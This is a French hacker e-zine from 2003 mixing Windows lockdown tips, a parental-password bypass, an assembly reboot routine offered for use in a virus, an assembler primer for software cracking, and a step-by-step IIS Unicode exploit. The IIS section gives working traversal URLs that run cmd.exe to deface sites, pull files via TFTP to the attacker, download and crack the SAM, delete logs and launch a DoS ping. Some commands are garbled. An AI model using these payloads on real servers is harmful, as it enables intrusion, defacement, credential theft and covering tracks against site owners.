TDC - The Darkunderground Clan

*************************************************************
\\\\\\\\\\\\\\\\\\\\\\\\ooooooooo:::::DHS & TDC Mag' N°1:::::ooooooooo//////////////////////

Ecrit le 22/01/2003

EDITÔT :

Beaucoup d'entre vous connaisse Dealer-Hack et DHS - Dealer Hack Security , les sites de la TDC The DarkundergrounD Clan Team .

Mais pourquoi faire un e-zine ?? Encore un ?? Bourré de truc trop nul du style "comment faire une bombe", "comment mailbomber mon pote ou crasher son poste?"??! )
Pas du tout! Ce magazine a une ambition plus noble et sérieuse. S'adressant à tous les newbie de part le monde entier
( enfin, n'exagérons rien... pour l'instant, juste le monde français :p , il sera orienté, sécurité informatique,
programmation, hacking, cracking et TV-Sat... Bref, la même thématique que les sites et forums de nos sites
( http://membres.lycos.fr/darkunderground/Forum/index.php ) et ( http://dealerhacksecurity.free.fr/forum/index.php ) .
TDC (The Darkunderground Clan) est un groupe de hacker qui n'est pas là pour pirater, défacer de sites, encore moins
pour monter un groupe clandetsins de warez et surtout pas pour faire du cracking illégal à la chaîne! ( j'espère que
les lamerz et les script-kiddies auront compris que ce Mag n'est définitivement pas fait pour eux...). Nous sommes là
pour améliorer la communauté hacker française et autres, pour faire progresser la sécurité du web. "Nous sommes tous
les mêmes" disaient The Mentor. Pas de disinctions raciales, on reste politiquement neutre, sans aucun préjugés envers
qui que ce soit, ni de distinctions religieuses. Seulement unis pour partager la Connaissance, c'est notre Graal!

Non, ce n'est pas un simple délire d'adolescent à la fleur de l'âge en manque de gloire... mais bien plus! La soif
de connaissance, de partage, d'intérêt! La solidarité! Voilà le but de Dealer-Hack Magazine.
Soutenu et réalisé par une équipe grandissante, n'hésitez pas à participez à ce magazine qui sera des plus ouverts.
Modeste début, mais c'est aussi à vous de collaborer (note de stigmata : SVP!!! Laissez nous pas dans la bouze, les mecs!!!).
Si vous avez des articles à nous envoyer-insultes-prix pultizer-pots-de-vin (expression copyrithée par Neuralien mouahaha )))... contactez stigmata : se7en-up@caramail.com


**************************Contacts**************************
Réalisateur : A-bone => alex.bone@caramail.com
Concepteur : Stigmata => se7en-up@caramail.com
***********************************************************

/////////////////////////////////////////////////////////////////////////////////////////////////
SOMMAIRE PROVISOIRE DU 1er NUMERO
/////////////////////////////////////////////////////////////////////////////////////////////////

1 - INTRODUCTION : BUT, OBJECTIF, HISTOIRE .
2 - SECURITE : PROTEGER SON PC .
4 - HACKING : COMMENT DEFFACER UN SITE GRACE A LA FAILLE UNICODE ( EXPLOIT TESTER )
3 - CRACKING : INTRO .


/////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////

=====================================================================
1. INTRODUCTION
=====================================================================

La plus gros de notre oeuvre a été énoncé dans l'édito. Notre groupe est ici avant tout pour vous, notre site existe
depuis un petit bout de temps etest déjà fort connu! Avant tout, définissions le terme de "hacker". Un hacker est un
bidouilleur informatique dans sons sens le plus strict (on va pas non plus se faire un cours complet d'éthymologie).
A partir de là, le gtype qui bidouille son OS, paumé dans son bled, coupé du monde, est un hacker. Le but d'un hacker
c'est sa soif d'apprendre, de connaître le rouge interne d'un principe, son fonctionnement le plus profond. Ce n'est
pas un métier ou un passe-temps, mais un mode de vie, une phylosophie complète. A partir de là, ses actions le classeront
soit dans les crackers (voire les crashers, des crackers extrémistes), soit dans les hacker, où on distinguera white hat
et black hat. Mais nous ne nous classeront pas définitvement dans "black" ou "white" hat. Securityfocus et ceux qui l'ont
fondé, étaient des white hat!! Mais ils ont été vendus au busisness... DAMNED! ce monde nous corrompt jusuq'à notre état
d'esprit...! Toutefois, on est pas la pour se venger de ces white aht "déchus". Ils font leur vie, on fait la notre .

Bon, voilà pour la définition des termes. au fur et à mesure que les premiers numéros sortiront, le magazine se structurera
en des rubriques bien définies, ce sommaire actuel étant totalement provisoire... et cela dépend de vous!!! Si vous avez
des articles à nous envoyer, on est prêts à les faire paraître, du moment qu'il reste dans notre état d'esprit et garde un
niveau acceptable!
Ce premier numéro gardera un niveau vague et simple, afin d'intéressé tout le monde! A chaque numéro le niveau montera
d'un cran avec quelques articles d'élites! Comme nous avions voulu a tout prix commencer notre magazine en ce début
d'année et qu'il s'est produit des bouleversement dans l'actualité informatique ses derniers temps
(voir la rubrique FAILLE!)

Alors, sur ce... Let's go!

=====================================================================
2 . SECURITE
=====================================================================

notre mission sera de protéger une machine X contre un piratage directe (c'est-à-dire, pas par internet, pour se protéger tout simple, déconnecter votre modem ;)

I. COMMENT PROTEGER SON PC ?
------------
Voici ce qui s'appelle une petite synthèse de toutes les connaissances élémentaires de Windows. L'objectif sera de bloquer l'accès à notre PC afin d'empêcher qui que ce soit à le toucher s'il n'est pas autorisé. déjà, sachez que Windows est une véritable passoire en matière de sécurité informatique et encore, on est gentil (et poli surtout) Donc, essayons de rendre cette protection plus conséquente tout en utilisant notre faible moyens.
Déjà, on va dans le Panneau de Configuration, Utilisateurs et on crée un profil , par ex "paul". on redémarre et, ouais! il demande un passwd pour entrer. N'ayez crainte, les programmeurs de Microsoft ne connaissent pas la sécurité. il suffit, en effet, de cliquer sur Annuler, pour accèder à la machine :)) Alors, on va améliorer tout ca. retournons dans PAnneau de configuration/Utilisateurs et créons un deuxième profil, "tarlouse". Maintenant on reboote et si on fait Annuler, on tombe sur le profil "bouffon". or, il est impossible de passer du profil "bouffon" au profil "paul" comme ça. la solution est donc là, il suffit de bloquer le profil "bouffon" afin que le pirate soit piégé. pour cela, on a deux moyens : soit on réalise une attaque brute et on paralyse l'interface Windows de ce profil, soit on y va plus soft et on neutralise intelligemment le profil. Comme le but de la rubrique c'est quand meme d'apprendre la programmation, on va faire les deux.
Alors, commençons par la méthode la plus simple et la plus courte, la méthode soft. Réfléchissons:le type démarre la machine et il tombe devant un menu multi-utilisateurs. Comme il ne connaît pas le mot de passe de "Paul", il va aller sur "bouffon" ou bien faire Annuler, ce qui reviendra strictement à la meme chose. comme il peu explorer la machine dans le profil "bouffon", notre but va être de l'éjecter de ce profil avant qu'il n'est plus faire quoi que ce soit. Voilà la solution : il suffit de créer un fichier qui reboote la machine et de le mettre au démarrage du profil ; quand le pirate le démarrera il sera exit : le PC va redémarrer :) pas mal comme astuce, non ? bon , c'est pas grave. alors, pour faire ça, tout simple : créez un file "restart.bat" (vous pouvez changer le nom mais gardez l'extension batch) dans le repertoire dirwin\Menu démarrer\Démarrages (ou dirwin est l'adresse de votre dossier windows). dedans ecrivez:

@echo off
exit

Allez dans Propriétés du menu contextuel du fichier (cliquez dessus du gauche droit de la souris si vous préférez...) et cochez l'option "Fermez en quittant" dans l'onglet Programmes. Dans "Paramètres avancées", décochez la case "Avertir avant de passer en mode MS-DOS". Ou alors, si vous ne voulez aps que le PC redémarre, mais l'éteindre, allez dans Démarrez/Paramètres/Barre des tâches et menu démarrer, et sur l'onglet Programmes du Menu Démarrez. Là, cliquez sur "Ajouter...". en guise de ligne de commande, tapez c:\Windows\Rundll32.exe user.exeExitWindows. le PC redémarrera si vous cliquez sur l'icône. faites la meme manip pour la alncer au démarrage du profil.
Et voilà pour la méthode soft. elle est sympa, elle est classe, elle est simple et radicale. Or, notre but étant d'apprendre, de découvrir, de chercher et d'expérimenter, testons la deuxième technique dite "le-coup-du-bourrin". Elle est de loin là plus directe et meme 'sadique' car elle détruit dans le profil par défaut, en l'occurrence "bouffon", tout possibilité de piratage en paralysant l'interface Windows complètement. Ici, on va jouer sur la base de registre. cette denrière étant accessible par l'autre profil, en cas de fausse manip, on peut corriger la gaffe apr le profil "paul" tranquillement. on verra ça. d'abord, je vous balance le code, et ensuite on explique tout ça. donc, toujours avec le language VBScript, créez un file .vbs et mettez-y :
Dim WSHShell
Set WSHShell = Wscript.CreateObject("Wscript.Shell")
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\ClearRecentDocsOnExit",1,"REG_BINARY"
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetHood",1,"REG_DWORD"
WSHShell.RegWrite "HKCUR\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskbar",1,"REG_DWORD"
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoEntireNetwork",1,"REG_DWORD"
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",1,"REG_DWORD"
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",1,"REG_DWORD"
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSaveSettings",1,"REG_DWORD"
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFavoritesMenu",1,"REG_DWORD"
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind",1,"REG_DWORD"
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuSubFolder",1,"REG_DWORD"
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFavoritesMenu",1,"REG_DWORD"

bon là, j'ai essayé de vous mettre le plus de commande possible, meme si elle ne serve pas vraiment ici, afin que vous les connaissez et pouvez les utilisé dans d'autres buts. Au dessus il ny sont pas tous. En dessous, si.
voici a koi correspondent les commandes.

NoClose = + de bouton arrêter
NoRun = + de bouton executer
NoDesktop = + d'icônes
NoNetHood = + de voisinages réseau, l'ordi est isolé du réseau
NoSetTaskbar = elève la commande Barre des tâches ds Démarrer/Paramètres
NoFavoritesMenu = + de favoris (!valeur binaire!)
ClearRecentDocsOnExit = + de documents.
NoSetFolders = Enlève la commande Panneau de configuration et imprimantes dans Démarrer/Paramètres
NoEntireNetwork= cacher le réseau global
NoFileMenu= cache le menu fichier de l'Explorateur Windows
NoDrives= + d'accès au disques. voici els correspondances des disques : A=1 B=2 C=3... si vous voulez bloquer le disque A et C, tapez 4 etc. si cette valeur vaut 255 (en décimal) tous les lecteurs sont masqués.
NoChangeStartMenu = tout est dans le nom :)
NoFind = désactive le raccourci de Recherche.
NoFolderOptions = pas d'options de dossier!
NoViewContextMenu = + de menu contextuel
NoTrayContextMenu = impossibilité de modifier le menu contextuel
NoAddPrinter = impossibilité d'ajouter des imprimantes
NoStartBanner = + de msg de départ ds la barre des tâches ("Cliquez ici pour commencer")
NoDeletePrinter = Toutes les imprimantes installées ne peuvent être supprimées
NoSaveSetting = les paramètres du bureau et des icônes ne sont pas nregistrés en quittant.
NoStartMenuSubFolder = les ss-dossiers du menu Démarrer deviennent inactifs.
NoPrinterTabs = l'onglet "Détail" et "Général" de "Imprimantes" sont masqués
DisableRegistryTools = désactivation de regedit (éditeur de Base de Registre)
NoRecentDocsHistory = Pour IE4.0, Documents disparait du menu Démarrer.
NoInternetIcon = effacement de l'icône Internet Explorer du bureau.

et voilà! blocage total de l'interface de Windows... le pirate peut changer de boulot et aller planter des chous, paske la, vous le cassez en deux ;)
la prochaine fois, on verra comment restreindre certaines fonctionnalités dans Windows, afin d'empêcher un utilisateur indiscret de modifier certains paramètres sensible tout en lui laissant la possibilité d'accéder a la machine.


V. UN PTIT TRUCK
------------
Vous savez comment faire sauter le passwd sous Internet explorer 4.x et meme 5.x (je crois bien, si je ne mabuze). par exemple, si votre père mais un apsswd pour vous empêcher d'utiliser internet, eh bien, cliquez sur Démarrez/Exécuter et tapez regedit pour rentrez dans la base de Registre. ensuite, allez dans HKey_Local_Machine\Software\Microsoft\Windows\CurrentVersion\Policies\Ratings. Virez le clé "Key". Désormais, y a plus de passwd.


VI. UN PROG
------------
voici un prog qui permet de rebooter la machine dès qu'on presse 5 touches. c une bonne routine pour un virus particulièrement vicieux.

***
.model tiny
.code
org 100h
INSTALL:
MOV AX,3509h
INT 21h
MOV [BXREG],BX
MOV [ESREG],ES
MOV AH,25h
MOV DX,offset NEW_INT
INT 21h
MOV DX,offset EOP
INT 27h
NEW_INT: PUSHF
INC WORD PTR CS:[COUNTER]
CMP WORD PTR CS:[COUNTER],20
JB NOCOUNTER
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH DS
PUSH SS
PUSH SI
PUSH DI
JMP SKIP
NOCOUNTER: JMP ADIOS
SKIP:
CALL REBOOT
MOV WORD PTR CS:[COUNTER],0
POP DI
POP SI
POP SS
POP DS
POP ES
POP CX
POP BX
POP AX
ADIOS:
POPF

DB 0EAh
BXREG dw ?
ESREG dw ?

COUNTER dw 0

REBOOT: MOV AH,2
XOR BH,BH
XOR DX,DX
INT 10h
MOV AH,9
MOV CX,2000
MOV AL,' '
MOV BL,7
INT 10h
JMP FAR 0FFFFh:0
EOP:
END START
***

=====================================================================
3 . La faille Unicode IIS et son exploit .
=====================================================================

Je commence par dire que cette faille est d'une simplicité incroyable !!!
Pour pénétrer un serveur, il faut rajouter qq lignes de codes après l'URL !
Cette faille fait le bonheur des script kiddies !

cette faille peut etre exploiter par deux façon , la premier c'est la methode de TFTP que j'ai pris sur le site d'immortale hack et la deuxieme façon c'est celle que j'explique moi meme et que j'ai deja essayer avec plusieurs serveur et qui marche parfaitement ( si le serveur concerner n'est pas patcher contre cette vulnérabilité biensur )

PS : je prepose au webmaster des sites heberger sur un seveur IIS 4/5 des patches a la fin de l'article .

Ok let's go et on commence par l'expliquation des gars d'immortal hack :

Il y a beaucoup de serveur dans le monde qui utilisent IIS (le srv de MiCrO$oFt). Ce serveur web, comme tout,
présente une faille. Cette faille permet de faire un dir du DD du srv ! Et pas seulement
un dir !! on peut supprimer, renommer, uploader,...tout koi !

Cette faille, vous l'aurez bien compris ne s'applique que sur les serveurs de type NT4.0 et IIS4.0,5.0

Cette faille est dû a un mal fonctionnement au niveau de l'URL
car par défaut, IIS inspecte l'url et regarde si il y a un ou des ..\.. dedans.
Et s'il en trouve, c'est qq1 essaye de pénétrer dans le DD ! et biensur, cela n'est pas
permis par IIS mais si on change le /ou\ par sa valeur en unicode, IIS n'y voit que dale ! Ex :
Vous savez, quand il y a un espace dans l'url, IE et les autres le remplacent par sa valeur en Unicode
Qui est en l'occurrence %20 ! Donc pour pénétrer le srv, y a + ka duper IIS par la valeur du caractère ASCII en
sa valeur Unicode ! Pas + compliqué que ça !

Exemple d'intrusion :

 

Dans cette exemple d'intrusions, j'ai "attaqué" MON serveur tournant sous IIS ! C pkoi je vous recommande fortement
de ne pas utiliser la faille Unicode sur des serveurs ne vous appartenant pas ! Sous peine d'etre hors la loi

 

I. Test pour savoir si la faille Unicode est présente

 

Il y a plusieurs méthodes pour savoir si un IIS (ou un NT) est vulnérable a la faille Unicode

1. Le scanner : Vous indiquez l'ip a un scanneur dont on en trouve si bien sur le web et le scanneur fera le boulot pour vous !

2. A la main : Vous trouvez un srv NT ou IIS (par des méthodes de OsFingerPrint ou autres) et vous testez toutes les syntaxes recensées !

 

2. Attaque du serveur :

 

Une fois la syntaxe découverte, vous pouvez acceder au programme cmd.exe ki permet d'éxécuter toutes les commandes MS-DOS

Le répertoire du site est par défaut : C:\IntePub\wwwroot
Il se peut aussi que le SysOp (System Operator = l'administrateur du système) aille fait des alias ki lui permet de définir le rep qu'il souhaite

Maintenant on veut uploader sur la machine pour mettre notre page : Hacked by ...

Pour uploader, on peut soit utiliser SolarWinds TFTP ou bien on écrit les commandes ftp dans un txt sur la machine attaqué après on éxécute ce txt

Upload via le srv FTFP de SolarWinds

Fo le télécharge en premier ! ;) Sur le site de l'éditeur : www.solarwinds.net

Une fois téléchargé, installé et éxécuter, vous devez utilisez cette syntaxe pour uploader :

http://ipdusrv/syntaxe/winnt/system32/cmd.exe?/c+tftp.exe+"-i"+VOTREIP+GET+index.hm+c:\Interpub\wwwroot

Le srv TFTP parle :

C bon !! Ma page index.htm a bien été uploadé ! Je vais donc supprimer la page principale pour mettre ma "zoli" page

Mouarf ! Le fichier default.htm doit etre en lecture seul ou en fichier caché

Pour y remedier on va créer un bat sur le srv distant puis écrire dedans via les commandes MS-DOS

Voici le code du bat :

@echo o|attrib -r -h -a -s > NUL

Donc maintenant on va taper ça :

http://ipdusrv/syntaxe/winnt/system32/cmd.exe?/c+echo+@echoo|attrib -r -h -a -s > NUL+>>+del.bat

C bon ! Le bat est crée ! Donc maintenant il faut l'éxécueter

Syntaxe : http://ipdusrv/syntaxe/winnt/system32/cmd.exe?/c+c:\Inetpub\wwwroot\del.bat

Voila ! Maintenant on supprimme puis on a defacer le serveur !

Maintenant, on va virer notre trace dans les logs :

On ne peut pas les éditer ! Il nous faut les droits d'admin pour modifier les logs

On va cracker la SAM pour avoir le mot de passe de l'admin

On download la SAM avec la syntaxe suivante : http://xxx.xxx.xxx.xxx/syntaxe/winnt/system32/cmd.exe?/c+tftp.exe+"-i"+PUT+VOTREIP+c:\test.exe

Après, vous téléchargez L0pht Crack 4 une fois fait, vous cracker la SAM :

Vous aurez après de longues heures (ça dépend ! Des fois, LC4 ne trouve pas le mdp) vous aurez le mdp !

Vous reprenez le log de votre scan et si le port 139 (NetBios) est ouvert, vous pourrez avoir axx a tt le DD par : Favoris Réseau

Vous allez voir appairaitre une fenetre vous demandant un login et un pass, vous utilisez celui que LC4 vous a trouvé. (Il faut que ça soit évidemment le mdp de la séssion en cours

Vous avez maintenant axx a tt le disk !

Après, on revient et on utilise les droits d'admin pour écrire dans les logs.

Fin d'expliquation de la methode par TFTP .

 

Maintenant je vais commencer a expliquer le principe d'exploitation de cette faille par simple url .

la methode est tres simple mais aussi peut connus , donc let's go again avec l'expliquation des gars de la TDC - The DarkundergrounD Clan

apres avoir localiser le serveur vulnérable , et pour ca il faudra le scanner avec un scanner de faille UNICODE , y'en a pleins sur le net .

voila un exemple d'un serveur vulnérable : http://www.serveur.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\

c+dir+c:\ fait appelle au serveur pour lister les données qui son sur le lecteur C:\ , ca peut etre C:\ comme D:\ ,

donc une fois le serveur vulnérable est localiser , pour le deffacer il nous faut les droits d'ecriture , pour le savoir c'est tres simple il suffit le mettre cette syntax " cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\winnt\system32\cmd1.exe "a la fin .

ex : http://www.serveur.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\winnt\system32\cmd1.exe

une fois vous avez executer cette url maintenant changer la par ceci :

http://www.serveur.com/scripts/..%c1%1c../winnt/system32/cmd1.exe?/c+dir+c:\

si le repertoir C:\ ce liste ca veut dire que vous avez les droits en ecriture , alors on va faire un petit teste .

http://www.serveur.com/scripts/..%c1%1c../winnt/system32/cmd1.exe?/c+echo+hello!+>+c:\test.txt

ensuite cela :

http://www.serveur.com/scripts/..%c1%1c../winnt/system32/cmd1.exe?/c+dir+c:\

et voila la pour deffacer le site c'est tres simple , deja le repertoire du site par defaut sur les serveurs ISS est " C:\InetPub\wwwroot\ " mais l'admin peut changer l'emplacement de ce dernier ou il veut dans le cas il faut fouiller , pour trouver les fichier " htm " peut importe cela depant de l'extension des pages sur le site .

voila comment trouver les fichers .htm : http://www.serveur.com/scripts/..%c1%1c../winnt/system32/cmd1.exe?/c+dir+/S+c:\*.htm <--------- ca c'est l'extenstion vous pouvais la changer par ( html , php , php3 , ) comme vous voulais .

une fois vous avec localiser le chemain du site pour le deffacer voila comment faire : http://www.serveur.com/scripts/..%c1%1c../winnt/system32/cmd1.exe?/c+echo+Was Hacked by me :)+>+c:\chemain du repertoir du site\index.htm <----------- vous devais ensuite remplacer index.htm par default.htm

ex : http://www.serveur.com/scripts/..%c1%1c../winnt/system32/cmd1.exe?/c+echo+Was Hacked by me :)+>+c:\InetPub\wwwroot\index.htm

la tape cette url : http://www.serveur.com et bingo le site est deffacer et le chtit message " Was Hacked by me " est sur la page d'accueil

 

maintenant il faut effacer cs traces , pour ca il faut trouver le dossier qui contien les loges voila son chemain par defaut : C:\WINNT\SYSTEM32\LOGFILES\W3SVC32 ensuite faites : cmd1.exe?/c+del+/S+c:\*.log et voila les logs son supprimer ;)

Bonus : pour faire une attaque DOS Denial of Service :

http://www.serveur.com/scripts/..%c1%1c../winnt/system32/cmd.exe /c+ping.exe+"-v"+igmp+"-t"+"l"+30000+ [victime]+"n"+500+"-w"+10 502 -

et voila c'est fini .

astuces :

c+dir+c:\ = lister le repertoire C:\

c+type+c:\ = pour lire un fichier ex : c+type+c:\chemain\fichier

c+del+c:\ = pour effacer un fichier

c+echo+c:\ = pour ecrire

c+get+c:\ = pour telecharger un ficher

c+put+c:\ = pour transferer un fichers

Pour patcher son serveur :

Pour IIS 4.0 :

http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/

Pour IIS 5.0 :

http://www.microsoft.com/windows2000/downloads/critical/q269862/

pour autres windoz updates :

http://security.alldas.de/patches/?op=detail&distribution=Windows

et voila j'espere que j'etais assez claire & have fun ( PS : ne faites pas les cons a deffacer des sites pour le plaisir comme des scripts keddies )

...::: ISS UNICODE Exploit By A-bone :::...


=====================================================================
4 . Craking
=====================================================================

Voici un hors-série tel que vous n'en avez jamais vu. Dans ce numéro spécial, on va pas parler de " un peu " à " très " technique. Ce Best Of Cracking est fait pour ceux qui, à force de lire ce mot, sont démoralisé car il n'y pige rien. Au sommaire :
- Newbie: ASM For Cracking: cours d'ASM
- Introduction au Reversing, le " Cracking légal ".
- Création de votre propre KEYGEN pour DreamWeaver.
- For Elite : le Cracking EXCLUSIF du système WFP (Windows File Protection) sous Win 2000.
- CRACKING BIOS PASSWORD: comment craquer le mot de passe BIOS ?

Cette série d'article est là pour vous tendre la main et vous faire grimper la montagne qui vous sépare des débutants .
Ready for Cracking ? Let's go .

Salut les Toons. Pour débuter cet HS CRACKING, commençons cool par un petit cours sur l'ASM indispensable. Vous ne pourrez cracker bien sans ça. Ready? Let's go!

GENERALITES
---------------------------
- Comment un cracker peut lire un programme et le modifier, indépendamment de son langage originel?
Quand un programmeur réalise une application, il l'écrit avec un langage ayant une syntaxe propre. Puis, il le compile, c'est-à-dire qu'il transforme le code source spécifique au langage en "code machine", ou assembleur. Le langage des processeur d'Intel est l'assembleur ix86. Il y en a d'autre comme celui des Ti-92 (assembleur Motorola 68000). Nous, on va s'intéresse à l'assembleur i386, qui est quasiment identique à celui de ix86.
- un fichier sur votre disque dur est "en assembleur". En l'ouvrant sous Edit, vous n'aurez pas des instructions d'assembleur, mais les caractères ASCII correspondants à celle-là. Pour, pouvoir traduire le programmeur en code machine compréhensible par l'homme ,il faut un "désassembleur". On va utiliser le meilleur, W32Dasm 8.9, qui permet de désassembler
les applications Windows.
- A l'époque de MS-DOS (et des Goupils tout naze), le système d'exploitation avait une bibliothèque d'interruption à disposition des programmes. AInsi, le fonction 9 de l'interruption 21h permet afficher un message à l'écran. Sous Windows, pour faire une comparaison TRES grossière, l'API remplace les interruptions. ex: la fonction de l'API GetWindowText(HWND, LPTSTR, int) copie le texte d'un contrôle vers un buffer.
- Pour comprendre comment marche un programme déjà compilé, il faut un désassembleur. Mais un débuggeur permettant d'exécuter les instructions en assembleur pas-à-pas, du style Turbo débuggeur (de Borland). Le meilleur est Soft-Ice. On exécute le programme, et, par une simple combinaison de touches, on le stoppe quand on veut. Le crackeur peut placer des "breakpoints" pour que le programme s'arrête s'il exécute une certaine action (comme l'affichage d'un message d'erreur parce qu'on a rentré le mauvais numéro de série:). Sous Windows, on peut le faire sur n'importe quel programme avec le multitâches. Les breakpoints sont donc indispensable parce qu'on on n'est pas sur, quand on exécute Soft-Ice, que le processus en cours appartient au programme à craquer. on reviendra dessus plus tard.

FONCTIONNEMENT D'UN ORDINATEUR
------------------------------------------------------------------------
L'alphabet d'un ordinateur est limité à 0 et 1 qui correspond à un état électrique, éteint, allumé, état qui est représenté par un bit. Pour étendre les possibilités, on les réunis ensemble pour former un octets (ou BYTE, 8 bits), un mot (ou WORD, 16 bits) ou un double mot (ou DWORD, 32 bits). Le processeur doit exécuter des données numériques ou des caractères (l'ensemble des caractères et de leur combinaisons est appelé la SEQUENCE ASCII) via des instructions (un ensemble d'instruction est appelé un "set" d'instructions).
**DONNES NUMERIQUES**
C'est plus complexe pour elles. Sur un byte (ou octet) on pourrait représenter 256 (2^8) nombres mais ce n'est pas suffisant. Il faut ensuite que le système puisse supporter les opérations arithmétiques, les nombres négatifs...
**LE BINAIRE**
On connaît la base 10 ou décimale qui permet d'obtenir tous les nombres souhaités en combinant simplement une série de chiffres entre 0 et 9. Pour le binaire, on a que deux signes : 0 et 1, on est donc en base 2. La méthode est de combiner une série de 0 et 1, puis multiplier cela le plus à droit pas 2^0, et, de gauche à gauche, par 2^1, 2^2... ce qui donne
base 2 base 10
00000011 = 1 = 1*2 + 1*1
00001011 = 11 = 1*8 + 0*4 + 1*2 + 1*1
00011011 = 27 = 1*16 + 1*8 + 0*4 + 1*2 + 1*1
(2^0 est toujours égal à 1, mais si en plus vous ne connaissait pas les maths ;)
Sur 1 Byte (8 bits), le nombre maximum qui peut être représenté est: 11111111 = 255 = 2^8-1. Pour avoir plus, on devra utiliser plusieurs bytes et on aura cette forme : ((2^nb de bits)-1). ex: 2^32-1 pour 4 bytes...
**LES NOMBRES NEGATIFS**
Pour les nombres relatifs, comme on a que deux possibilités (+ ou -), le signe sera déterminé par 1 bit. On admet alors que, par convention, le bit de fauche d'un ensemble de bits sera le bit de signe : 1=+ et 0=-. On a donc 2^7 bits représentables pour un bytes, 2^15 pour un WORD... donc 2^(nb bits - 1) représentables.
**L'HEXADECIMAL**
Une dernière notation est l'hexadécimal, en base 16. Comme on travaille en souvent avec des chiffres sur 2 bytes (16 bits), on est sujets à moins d'erreurs en prenant une base 16, ce qui réduit la quantité de chiffres à manipuler. 16 étant une puisse de 2, la conversion binaire/hexa est simple : à quatre signe binaires correspond un signe hexa. Comme on a que 10 chiffres les autres seraient les 6 premières lettres de l'alphabet soit A(=10),B(=11),C(=12),D(=13),E(=14),F(=15) et 10h=16 (h veut dire hexa). exemple : 9h=09;10h=0A;11h=0F
**LA MERMOIRE**
C'est une série d'emplacement numérotés contenant chacun un nombre. Le numéro d'un emplacement (un byte) est une adresse. Sur les PC, la mémoire est divisée en zone de 65536 bytes appelées segments. L'adresse d'un byte comporte alors deux éléments : un numéro de segment et un déplacement ou offset calculé par rapport au début du segment; on a donc: Segment:Offset.
exemple : 0A000H :00000H (adresse de la mémoire vidéo). Le microprocesseur peut soit consulter soit modifier le contenu d'un emplacement, c'est tout. Les adresses sont toujours numérotés

L'ASSEMBLEUR
------------------------------
Une instruction ASM s'appelle une "mnémonique". Le processeur travaille avec des registres.
---1. Les registres---
Ce sont des petits emplacements mémoire dans le processeur qu'il manipule comme le veut le programmeur. Normalement, leur taille est 16 bits (8 bits=1 octet). Avec les 386, ils font 32 bits. Pour utiliser les 32 bits, il faut placer un "E" avant le nom du registre. Il y a 4 classes de registres:

a) Les registres de travail (ax, bx, cx, dx)
ax : l'accumulateur, pour les opérations arithmétiques
bx : registre de base
cx : le compteur, pour les instructions de boucles, du genre "loop"
dx : le registre de "data"
chak1 est divise en 2: ax en al et ah, bx en bl et bh, etc

b) Les registres de segment
CS : code segment. Il contient l'adresse du segment de mémoire qui contient le code machine
DS : data segment. Il contient l'adresse du segment ayant les data du programme
SS : stack segment. Il contient l'adresse du segment de pile
ES : extra segment. Il contient l'adresse d'un segment supplémentaire

c) Les registres d'offset
Ces 5 registres contiennent une valeur à combiner avec un registre de segment pour former une adresse mémoire segment:offset
SI : source index, pour les opérations sur les chaînes de caractères. Il est associé à DS pour former l'adresse DS:SI
DI : destination index. associé à DS ou à ES pour opérations sur les chaînes de caractère.
IP : Instruction pointer. associé à CS pour pointer sur l'1struction suivante à exécuter. Impossible à modifier directement.
BP : base pointer. Associé à SS, il permet d'accéder à la pile (stack) lors d'appels de sous programmes.
SP : associé à SS, SS:SP indique le dernier élément de la pile.

d) Le registre de flags
- Le registre FLAG est un registre d'état. Il sont utiliser lors de saut conditionnel entre autres. Ce registres est manipulé bit par bit, chaque bit étant appelé "indicateurs". On des indicateurs d'état et de contrôler. Voyons la signification de chaque bit:
- Indicateurs d'état
0 : "Carry" : CF. Il est mis à 1 s'il y a eu retenue lors de la dernière instruction arithmétique.
2 : Parité : PF. Il est mis à un si le résultat d'un opération contient un nombre pairs de bits 1.
4 : Retenue auxiliaire : AF.
6 : Zéro : ZF. Il est activé si le résultat d'une opération donne 0 et le restera jusqu'à la prochaine opération.
7 : Signe : SF. Il est activé si le résultat d'une opération donne un nombre négatif.
11 : Overflow : OF. Il est mis à 1 si le signe d'un opération change alors qu'il ne devrait pas. ex: 2+2 = -4.
- Indicateur de contrôle
8 : Trap : TF.
9 : interruption : IF.
10 : direction : DF. Il est modifié par une instruction CLD ou STP (on verra, pas de souci...)

Un registre écrit entre crochets ne représente pas un suite de bits, mais le contenu d'une adresse qu'il pointe.
